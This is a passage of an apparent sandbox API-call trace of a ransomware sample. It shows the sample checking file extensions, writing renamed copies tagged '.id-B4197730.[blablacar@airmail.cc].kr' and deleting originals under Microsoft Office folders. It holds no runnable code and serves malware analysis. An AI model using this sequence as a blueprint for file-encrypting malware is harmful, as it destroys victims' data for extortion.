lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0183.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0183.976] lstrlenW (lpString=".1cd") returned 4 [0183.976] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0183.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0183.976] lstrlenW (lpString=".jpg") returned 4 [0183.976] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0183.976] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0183.976] lstrlenW (lpString="api-ms-win-crt-process-l1-1-0.dll") returned 33 [0183.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0183.977] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=19648) returned 1 [0183.977] CloseHandle (hObject=0x4d8) returned 1 [0183.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll")) returned 0x220 [0183.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0183.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0183.977] lstrlenW (lpString=".doc") returned 4 [0183.977] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0183.977] lstrlenW (lpString=".docx") returned 5 [0183.977] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0183.977] lstrlenW (lpString=".pdf") returned 4 [0183.977] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0183.977] lstrlenW (lpString=".xls") returned 4 [0183.977] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0183.978] lstrlenW (lpString=".xlsx") returned 5 [0183.978] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0183.978] lstrlenW (lpString=".ppt") returned 4 [0183.978] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0183.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0183.978] lstrlenW (lpString=".zip") returned 4 [0183.978] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0183.978] lstrlenW (lpString=".rar") returned 4 [0183.978] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0183.978] lstrlenW (lpString=".bz2") returned 4 [0183.978] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0183.978] lstrlenW (lpString=".7z") returned 3 [0183.978] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0183.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0183.978] lstrlenW (lpString=".dbf") returned 4 [0183.978] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0183.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0183.978] lstrlenW (lpString=".1cd") returned 4 [0183.978] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0183.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0183.978] lstrlenW (lpString=".jpg") returned 4 [0183.978] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0183.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0183.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0183.978] lstrlenW (lpString=".doc") returned 4 [0183.978] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0183.978] lstrlenW (lpString=".docx") returned 5 [0183.978] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0183.978] lstrlenW (lpString=".pdf") returned 4 [0183.978] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0183.978] lstrlenW (lpString=".xls") returned 4 [0183.978] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0183.979] lstrlenW (lpString=".xlsx") returned 5 [0183.979] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0183.979] lstrlenW (lpString=".ppt") returned 4 [0183.979] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0183.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0183.979] lstrlenW (lpString=".zip") returned 4 [0183.979] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0183.979] lstrlenW (lpString=".rar") returned 4 [0183.979] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0183.979] lstrlenW (lpString=".bz2") returned 4 [0183.979] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0183.979] lstrlenW (lpString=".7z") returned 3 [0183.979] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0183.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0183.979] lstrlenW (lpString=".dbf") returned 4 [0183.979] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0183.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0183.979] lstrlenW (lpString=".1cd") returned 4 [0183.979] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0183.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll") returned 79 [0183.979] lstrlenW (lpString=".jpg") returned 4 [0183.979] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0183.979] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0183.979] lstrlenW (lpString="api-ms-win-crt-runtime-l1-1-0.dll") returned 33 [0183.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0183.980] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=23232) returned 1 [0183.980] CloseHandle (hObject=0x4d8) returned 1 [0183.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 0x220 [0183.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll") returned 79 [0183.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll") returned 79 [0183.981] lstrlenW (lpString=".doc") returned 4 [0183.981] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0183.981] lstrlenW (lpString=".docx") returned 5 [0183.981] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0183.981] lstrlenW (lpString=".pdf") returned 4 [0183.981] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0183.981] lstrlenW (lpString=".xls") returned 4 [0183.981] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0183.981] lstrlenW (lpString=".xlsx") returned 5 [0183.981] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0183.981] lstrlenW (lpString=".ppt") returned 4 [0183.981] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0183.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll") returned 79 [0183.981] lstrlenW (lpString=".zip") returned 4 [0183.981] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0183.981] lstrlenW (lpString=".rar") returned 4 [0183.981] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0183.981] lstrlenW (lpString=".bz2") returned 4 [0183.981] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0183.981] lstrlenW (lpString=".7z") returned 3 [0183.981] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0183.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll") returned 79 [0183.981] lstrlenW (lpString=".dbf") returned 4 [0183.981] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0183.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll") returned 79 [0183.981] lstrlenW (lpString=".1cd") returned 4 [0183.982] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0183.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll") returned 79 [0183.982] lstrlenW (lpString=".jpg") returned 4 [0183.982] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0183.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll") returned 79 [0183.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll") returned 79 [0183.982] lstrlenW (lpString=".doc") returned 4 [0183.982] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0183.982] lstrlenW (lpString=".docx") returned 5 [0183.982] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0183.982] lstrlenW (lpString=".pdf") returned 4 [0183.982] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0183.982] lstrlenW (lpString=".xls") returned 4 [0183.982] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0183.982] lstrlenW (lpString=".xlsx") returned 5 [0183.982] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0183.982] lstrlenW (lpString=".ppt") returned 4 [0183.982] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0183.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll") returned 79 [0183.982] lstrlenW (lpString=".zip") returned 4 [0183.982] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0183.982] lstrlenW (lpString=".rar") returned 4 [0183.982] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0183.982] lstrlenW (lpString=".bz2") returned 4 [0183.982] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0183.982] lstrlenW (lpString=".7z") returned 3 [0183.982] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0183.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll") returned 79 [0183.982] lstrlenW (lpString=".dbf") returned 4 [0183.982] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0183.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll") returned 79 [0183.982] lstrlenW (lpString=".1cd") returned 4 [0183.982] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0183.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll") returned 79 [0183.983] lstrlenW (lpString=".jpg") returned 4 [0183.983] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0183.983] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0183.983] lstrlenW (lpString="api-ms-win-crt-stdio-l1-1-0.dll") returned 31 [0183.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0183.983] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=24768) returned 1 [0183.983] CloseHandle (hObject=0x4d8) returned 1 [0183.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 0x220 [0183.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0183.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0183.984] lstrlenW (lpString=".doc") returned 4 [0183.984] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0183.984] lstrlenW (lpString=".docx") returned 5 [0183.984] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0183.984] lstrlenW (lpString=".pdf") returned 4 [0183.984] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0183.984] lstrlenW (lpString=".xls") returned 4 [0183.984] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0183.984] lstrlenW (lpString=".xlsx") returned 5 [0183.984] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0183.984] lstrlenW (lpString=".ppt") returned 4 [0183.984] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0183.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0183.984] lstrlenW (lpString=".zip") returned 4 [0183.984] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0183.984] lstrlenW (lpString=".rar") returned 4 [0183.984] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0183.984] lstrlenW (lpString=".bz2") returned 4 [0183.984] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0183.984] lstrlenW (lpString=".7z") returned 3 [0183.984] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0183.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0183.984] lstrlenW (lpString=".dbf") returned 4 [0183.984] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0183.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0183.984] lstrlenW (lpString=".1cd") returned 4 [0183.984] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0183.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0183.984] lstrlenW (lpString=".jpg") returned 4 [0183.985] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0183.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0183.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0183.985] lstrlenW (lpString=".doc") returned 4 [0183.985] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0183.985] lstrlenW (lpString=".docx") returned 5 [0183.985] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0183.985] lstrlenW (lpString=".pdf") returned 4 [0183.985] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0183.985] lstrlenW (lpString=".xls") returned 4 [0183.985] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0183.985] lstrlenW (lpString=".xlsx") returned 5 [0183.985] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0183.985] lstrlenW (lpString=".ppt") returned 4 [0183.985] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0183.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0183.985] lstrlenW (lpString=".zip") returned 4 [0183.985] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0183.985] lstrlenW (lpString=".rar") returned 4 [0183.985] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0183.985] lstrlenW (lpString=".bz2") returned 4 [0183.985] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0183.985] lstrlenW (lpString=".7z") returned 3 [0183.985] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0183.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0183.985] lstrlenW (lpString=".dbf") returned 4 [0183.985] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0183.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0183.985] lstrlenW (lpString=".1cd") returned 4 [0183.985] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0183.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll") returned 77 [0183.985] lstrlenW (lpString=".jpg") returned 4 [0183.985] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0183.986] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0183.986] lstrlenW (lpString="api-ms-win-crt-string-l1-1-0.dll") returned 32 [0183.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0183.986] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=24768) returned 1 [0183.986] CloseHandle (hObject=0x4d8) returned 1 [0183.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll")) returned 0x220 [0183.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll") returned 78 [0183.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll") returned 78 [0183.987] lstrlenW (lpString=".doc") returned 4 [0183.987] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0183.987] lstrlenW (lpString=".docx") returned 5 [0183.987] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0183.987] lstrlenW (lpString=".pdf") returned 4 [0183.987] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0183.987] lstrlenW (lpString=".xls") returned 4 [0183.987] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0183.987] lstrlenW (lpString=".xlsx") returned 5 [0183.987] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0183.987] lstrlenW (lpString=".ppt") returned 4 [0183.987] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0183.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll") returned 78 [0183.987] lstrlenW (lpString=".zip") returned 4 [0183.987] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0183.987] lstrlenW (lpString=".rar") returned 4 [0183.987] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0183.987] lstrlenW (lpString=".bz2") returned 4 [0183.987] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0183.987] lstrlenW (lpString=".7z") returned 3 [0183.987] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0183.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll") returned 78 [0183.987] lstrlenW (lpString=".dbf") returned 4 [0183.987] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0183.991] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0184.699] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.700] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0184.701] GetLastError () returned 0x0 [0184.701] ReadFile (in: hFile=0x500, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x1815, lpOverlapped=0x0) returned 1 [0184.703] WriteFile (in: hFile=0x50c, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x1820, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x1820, lpOverlapped=0x0) returned 1 [0184.704] ReadFile (in: hFile=0x500, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.704] WriteFile (in: hFile=0x50c, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0xea, lpOverlapped=0x0) returned 1 [0184.704] SetEndOfFile (hFile=0x50c) returned 1 [0184.704] CloseHandle (hObject=0x50c) returned 1 [0184.704] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.704] SetEndOfFile (hFile=0x500) returned 1 [0184.707] CloseHandle (hObject=0x500) returned 1 [0184.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.708] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid")) returned 1 [0184.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0184.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0184.708] lstrlenW (lpString=".doc") returned 4 [0184.708] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0184.708] lstrlenW (lpString=".docx") returned 5 [0184.708] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0184.708] lstrlenW (lpString=".pdf") returned 4 [0184.708] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0184.708] lstrlenW (lpString=".xls") returned 4 [0184.709] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0184.709] lstrlenW (lpString=".xlsx") returned 5 [0184.709] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0184.709] lstrlenW (lpString=".ppt") returned 4 [0184.709] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0184.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67 [0184.709] lstrlenW (lpString=".zip") returned 4 [0184.709] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0184.709] lstrlenW (lpString=".rar") returned 4 [0184.709] lstrcmpiW (lpString1=".rar", 